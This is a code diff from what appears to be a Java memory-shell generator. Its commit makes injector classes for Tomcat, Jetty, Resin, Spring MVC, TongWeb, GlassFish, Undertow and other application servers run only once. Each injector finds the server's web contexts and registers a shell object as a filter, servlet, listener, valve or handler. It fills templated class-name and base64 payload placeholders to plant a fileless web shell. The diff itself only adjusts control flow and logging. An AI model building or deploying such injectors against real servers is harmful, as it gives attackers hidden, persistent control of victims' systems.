perf: run only once

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java

@@ -7,7 +7,9 @@ import java.io.PrintStream;
 import java.lang.reflect.Array;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.*;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -17,6 +19,7 @@ import java.util.zip.GZIPInputStream;
 public class ApusicFilterInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -31,16 +34,21 @@ public class ApusicFilterInjector {
     }
 
     public ApusicFilterInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -49,6 +57,7 @@ public class ApusicFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java

@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
 public class ApusicListenerInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -30,24 +31,30 @@ public class ApusicListenerInjector {
     }
 
     public ApusicListenerInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
-                    msg += "[/*] ready\n";
+                    msg += "[" + getUrlPattern() + "] ready\n";
                 } catch (Throwable e) {
                     msg += "failed " + getErrorMessage(e) + "\n";
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java

@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
 public class ApusicServletInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public class ApusicServletInjector {
     }
 
     public ApusicServletInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public class ApusicServletInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java

@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
  */
 public class BesFilterInjector {
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public class BesFilterInjector {
     }
 
     public BesFilterInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public class BesFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java

@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
 public class BesListenerInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -26,16 +27,21 @@ public class BesListenerInjector {
     }
 
     public BesListenerInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -44,6 +50,7 @@ public class BesListenerInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java

@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
 public class BesValveInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -25,16 +26,21 @@ public class BesValveInjector {
     }
 
     public BesValveInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -43,6 +49,7 @@ public class BesValveInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java

@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
 public class GlassFishFilterInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public class GlassFishFilterInjector {
     }
 
     public GlassFishFilterInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public class GlassFishFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java

@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
 public class GlassFishValveInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -26,16 +27,21 @@ public class GlassFishValveInjector {
 
 
     public GlassFishValveInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -44,6 +50,7 @@ public class GlassFishValveInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java

@@ -17,6 +17,7 @@ import java.util.zip.GZIPInputStream;
 public class InforSuiteFilterInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -31,16 +32,21 @@ public class InforSuiteFilterInjector {
     }
 
     public InforSuiteFilterInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -49,6 +55,7 @@ public class InforSuiteFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyCustomizerInjector.java

@@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream;
 public class JettyCustomizerInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -28,6 +29,9 @@ public class JettyCustomizerInjector {
     }
 
     public JettyCustomizerInjector() {
+        if (ok) {
+            return;
+        }
         Object channel = null;
         try {
             channel = getChannel();
@@ -35,10 +39,10 @@ public class JettyCustomizerInjector {
             msg += "channel error: " + getErrorMessage(throwable);
         }
         if (channel == null) {
-            msg += "channel is null";
+            msg += "channel not found";
         } else {
-            msg += ("channel: [" + channel + "] ");
             try {
+                msg += ("channel: [" + channel + "] ");
                 Object shell = getShell(channel);
                 inject(channel, shell);
                 msg += "[/*] ready\n";
@@ -46,6 +50,7 @@ public class JettyCustomizerInjector {
                 msg += "failed " + getErrorMessage(e) + "\n";
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java

@@ -20,6 +20,7 @@ import java.util.zip.GZIPInputStream;
 public class JettyFilterInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -34,16 +35,21 @@ public class JettyFilterInjector {
     }
 
     public JettyFilterInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -52,6 +58,7 @@ public class JettyFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java

@@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream;
 public class JettyHandlerInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -28,15 +29,20 @@ public class JettyHandlerInjector {
     }
 
     public JettyHandlerInjector() {
+        if (ok) {
+            return;
+        }
         Object server = null;
         try {
             server = getServer();
         } catch (Throwable throwable) {
             msg += "server error: " + getErrorMessage(throwable);
         }
-        if (server != null) {
+        if (server == null) {
-            msg += ("server: [" + server + "] ");
+            msg += "server not found";
+        } else {
             try {
+                msg += ("server: [" + server + "] ");
                 Object shell = getShell(server);
                 inject(server, shell);
                 msg += "[/*] ready\n";
@@ -44,6 +50,7 @@ public class JettyHandlerInjector {
                 msg += "failed " + getErrorMessage(e) + "\n";
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java

@@ -17,18 +17,24 @@ import java.util.zip.GZIPInputStream;
 public class JettyListenerInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public JettyListenerInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -37,6 +43,7 @@ public class JettyListenerInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java

@@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream;
 public class JettyServletInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -32,16 +33,21 @@ public class JettyServletInjector {
     }
 
     public JettyServletInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -50,6 +56,7 @@ public class JettyServletInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java

@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
 public class ResinFilterInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -29,16 +30,21 @@ public class ResinFilterInjector {
     }
 
     public ResinFilterInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -47,6 +53,7 @@ public class ResinFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java

@@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream;
 public class ResinListenerInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -28,16 +29,21 @@ public class ResinListenerInjector {
     }
 
     public ResinListenerInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -46,6 +52,7 @@ public class ResinListenerInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java

@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
 public class ResinServletInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public class ResinServletInjector {
     }
 
     public ResinServletInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += "context: [" + getContextRoot(context) + "] ";
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public class ResinServletInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java

@@ -17,6 +17,7 @@ import java.util.zip.GZIPInputStream;
 public class SpringWebMvcControllerHandlerInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -31,20 +32,28 @@ public class SpringWebMvcControllerHandlerInjector {
     }
 
     public SpringWebMvcControllerHandlerInjector() {
+        if (ok) {
+            return;
+        }
         Object context = null;
         try {
             context = getContext();
         } catch (Throwable e) {
             msg += "context error: " + getErrorMessage(e);
         }
-        try {
+        if (context == null) {
-            Object shell = getShell();
+            msg += "context not found";
-            msg += "context: [" + context + "] ";
+        } else {
-            inject(context, shell);
+            try {
-            msg += "[" + getUrlPattern() + "] ready\n";
+                Object shell = getShell();
-        } catch (Throwable e) {
+                msg += "context: [" + context + "] ";
-            msg += "failed " + getErrorMessage(e) + "\n";
+                inject(context, shell);
+                msg += "[" + getUrlPattern() + "] ready\n";
+            } catch (Throwable e) {
+                msg += "failed " + getErrorMessage(e) + "\n";
+            }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java

@@ -17,6 +17,7 @@ import java.util.zip.GZIPInputStream;
 public class SpringWebMvcInterceptorInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -27,20 +28,28 @@ public class SpringWebMvcInterceptorInjector {
     }
 
     public SpringWebMvcInterceptorInjector() {
+        if (ok) {
+            return;
+        }
         Object context = null;
         try {
             context = getContext();
         } catch (Throwable e) {
             msg += "context error: " + getErrorMessage(e);
         }
-        try {
+        if (context == null) {
-            Object shell = getShell();
+            msg += "context not found";
-            msg += "context: [" + context + "] ";
+        } else {
-            inject(context, shell);
+            try {
-            msg += "[/*] ready\n";
+                Object shell = getShell();
-        } catch (Throwable e) {
+                msg += "context: [" + context + "] ";
-            msg += "failed " + getErrorMessage(e) + "\n";
+                inject(context, shell);
+                msg += "[/*] ready\n";
+            } catch (Throwable e) {
+                msg += "failed " + getErrorMessage(e) + "\n";
+            }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java

@@ -18,18 +18,36 @@ import java.util.zip.GZIPInputStream;
 public class TomcatFilterInjector {
 
     private String msg = "";
+    private static boolean ok = false;
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
 
     public TomcatFilterInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -38,6 +56,7 @@ public class TomcatFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -57,19 +76,6 @@ public class TomcatFilterInjector {
         }
         return c + "(" + r + ")";
     }
-
-    public String getUrlPattern() {
-        return "{{urlPattern}}";
-    }
-
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() {
-        return "{{base64Str}}";
-    }
-
     /**
      * org.apache.catalina.core.StandardContext
      * /usr/local/tomcat/server/lib/catalina.jar

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java

@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
 public class TomcatListenerInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -25,24 +26,30 @@ public class TomcatListenerInjector {
     }
 
     public TomcatListenerInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
-                    msg += " [/*] ready\n";
+                    msg += "[/*] ready\n";
                 } catch (Throwable e) {
                     msg += "failed " + getErrorMessage(e) + "\n";
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java

@@ -19,18 +19,24 @@ public class TomcatProxyValveInjector implements InvocationHandler {
     private Object rawValve;
     private Object proxyValve;
     private String msg = "";
+    private static boolean ok = false;
 
     public TomcatProxyValveInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -39,6 +45,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java

@@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream;
 public class TomcatServletInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -32,16 +33,21 @@ public class TomcatServletInjector {
     }
 
     public TomcatServletInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -50,6 +56,7 @@ public class TomcatServletInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java

@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
 public class TomcatValveInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -25,16 +26,21 @@ public class TomcatValveInjector {
     }
 
     public TomcatValveInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -43,6 +49,7 @@ public class TomcatValveInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java

@@ -17,6 +17,7 @@ import java.util.zip.GZIPInputStream;
 public class TomcatWebSocketInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -31,16 +32,21 @@ public class TomcatWebSocketInjector {
     }
 
     public TomcatWebSocketInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -49,6 +55,7 @@ public class TomcatWebSocketInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java

@@ -19,6 +19,7 @@ import java.util.zip.GZIPInputStream;
 public class TongWebFilterInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -33,13 +34,18 @@ public class TongWebFilterInjector {
     }
 
     public TongWebFilterInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
                 try {
                     msg += ("context: [" + getContextRoot(context) + "] ");
@@ -51,6 +57,7 @@ public class TongWebFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java

@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
 public class TongWebListenerInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -25,16 +26,21 @@ public class TongWebListenerInjector {
     }
 
     public TongWebListenerInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -43,6 +49,7 @@ public class TongWebListenerInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java

@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
 public class TongWebValveInjector {
 
     private String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -25,16 +26,21 @@ public class TongWebValveInjector {
     }
 
     public TongWebValveInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -43,6 +49,7 @@ public class TongWebValveInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java

@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
  */
 public class UndertowFilterInjector {
     private String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public class UndertowFilterInjector {
     }
 
     public UndertowFilterInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public class UndertowFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java

